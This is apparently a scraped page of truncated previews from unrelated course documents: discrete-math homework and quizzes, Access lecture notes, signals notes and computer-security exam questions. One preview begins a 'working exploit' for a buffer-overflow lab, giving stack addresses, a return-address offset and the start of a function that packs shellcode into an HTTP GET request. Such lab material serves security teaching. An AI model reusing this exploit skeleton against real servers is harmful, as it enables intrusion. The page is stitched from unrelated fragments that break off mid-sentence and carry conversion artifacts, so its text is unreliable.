Theoretical Foundation of Computer Science
Fall 2015
CSc 2510
Assignment 1
Due by: 11:59 PM, September 10, 2015
Chapter 1
Section 1.1
1 Given the following three propositions: (if P is a proposition,
I Lab 1
The following is a working exploit for exercise 2 in lab 1:
reqpath = 0xbfffedf8
ebp
= 0xbffff608
retaddr = ebp + 4
def build_exploit(shellcode):
req = ( GET / +
urllib.quote(shellcode) +
x *
15.564 Information Technology I
Spring 2003
An Introduction to Microsoft Access
Lecture Script
1. Introduction
Open Database: Northwind.mdb
Select File then Open Database
Note file extension .mdb
Disc
I Buffer Overows
Ben Bitdiddle is building a web server that runs the following code sequence, in which process_req()
is invoked with a user-supplied string of arbitrary length. ssume that process_get
Representing a (Geometric) Vector
In the context of geometry, a
vector consists of 2 points: a
start and a finish
Each point itself has an x and y
coordinate
Start =
(0.4, 0.8)
End =
(0.9, 1.5)
Repr
6.096 Problem Set 3
1
1.1
Additional Material
Arrays of class objects
An array of class objects is similar to an array of some other data type. To create an array
of Points, we write
Point parray [4];
Chang, Tobie
Homework #2
Due on September 5h, 2017 at 9.30am on iCollege, TYPED, submit as word
document, pdf or both.
#1. [15 pts] Several forms of negation are given for each statement. Which are
co
Tobie Chang
CSC2510 TR 9:30-10:45am, Lab R 11-11:50am
CS 2510 TR FALL17
Homework 3
PROBLEM 1 [points: 20; each sub problem is 5 pts]
Note that there is no universal set present in formulas,
union oper
Chang, Tobie
CS 2510 TR Fall 2017
HW #1
(Picture from http:/www.fashionintime.org/furs-fashion-early-twentieth-century/)
Fallacy #1
Name: Dicto Simpliciter
Example from text: Exercise is good. Therefo
This assignment is DUE August 24th @ 9.30am. Submit Part 1 onto iCollege.
Your submission of this Homework #0 constitutes your agreement to class policies.
To get a credit, make sure to submit on due
HW #0, part 1
I, Daniel Samaniego, have read the syllabus and agree to its policies.
Among other policies, I understand that assignments submitted, e.g. homeworks,
tests, exams, and all others, must b
Lecture notes for 15.564: Information Technology I
Microsoft Access GUI Building
Forms
Reports
1
Microsoft Access provides the tools for developing graphical user interfaces that
facilitate the use of
Eye Diagrams
000 100 010 110 001 101 011 111
Eye diagrams make it easy to find
the worst-case signaling conditions
at the receiving end.
6.02 Fall 2012
These are overlaid
two-bit-slot segments
of step
CSc 2510
Theoretical Foundation of Computer
Spring 2010
Science
Due date: Wednesday, March 17, 2010
Assignment 4
Chapter 4
4.1.1. Given the following formula;
1.2.3.4 + 2.3.4.5 + 3.4.5.6 + +n(n+1)(n+2
CSc 2510
Theoretical Foundation of Computer Science
Name:
Solution
Fall 2015
(last four digits of your ID):
Quiz #2
1- Given the following three sets:
A=cfw_11,12,13,15,19, B=cfw_12,13,18,16 and C=cfw
CSc 2510
Theoretical Foundation of Computer Science
Your GSU email:
Name:
Fall 2015
(last 4 digits of your ID):
@gsu.edu
solution
Quiz #1
Given the following two statements:
A=it is raining on Monday,
CSc 2510
Theoretical Foundation of Computer Science
Assignment 5
Fall 2015
Due date: Nov 15 2015
Solve the following problems;
7.1.1 What is the probability a number >0 and not exceeding 900 is divisi
Theory of Parallel Hardware
Massachusetts Institute of Technology
Charles Leiserson, Michael Bender, Bradley Kuszmaul
February 23, 2004
6.896
Handout 5
Solution Set 2
Due: In class on Wednesday, Febru
I KeyKOS
1. [10 points]:
Bob is running the privilege-separated Zoobar web site on a KeyNIX system,
using code from lab 3. Suggest a way in which Bob can modify the Zoobar server-side code to take
adv
Bounded-Input Bounded-Output (BIBO)
Stability
What ensures that the infinite sum
"
y[n] =
is well-behaved?
# h[m]x[n ! m]
m=!"
One important case: If the unit sample response is absolutely
"
summable,
Lecture notes for 15.564: Information Technology I
Outline: Database Design
What makes a good database
How to design a good database
Informal design rules
Informal design process
Database design examp
Dealing with Multiple Random Variables
PDF of a random variable X:
fX(x) 0
and
fX(x) dx = 1
(this integral is over the entire real line)
The natural extension to the case of two random
variables X
I Web security
1. [8 points]:
Recall that Zoobar has a cross-site scripting vulnerability that allows an adversary to construct a URL
so that the servers response contains arbitrary Javascript code (f
Samaniego, Danny
CS 2510 MW Fall 2017
HW #1
(Picture from http:/www.fashionintime.org/furs-fashion-early-twentieth-century/)
Fallacy #1
Name: Dicto Simpliciter
Example from text: Exercise is good. The
Chapter 2.2
Set Operations
Propositional calculus and set theory are both instances of
an algebraic system called a
Boolean Algebra.
The operators in set theory are defined in terms of the
correspondi
Chapter 2.1 Notes
Sets
A set is a collection or group of objects or elements or
members. (Cantor 1895)
A set is said to contain its elements.
There must be an underlying universal set U, either
spec
Chapter 1.3 Notes
Predicates and Quantifiers
A generalization of propositions - propositional functions or
predicates.: propositions which contain variables
Predicates become propositions once every v
Chapter 1.2 Notes
Propositional Equivalences
A tautology is a proposition which is always true.
Classic Example: PP
_
A contradiction is a proposition which is always false.
Classic Example: PP
_
A co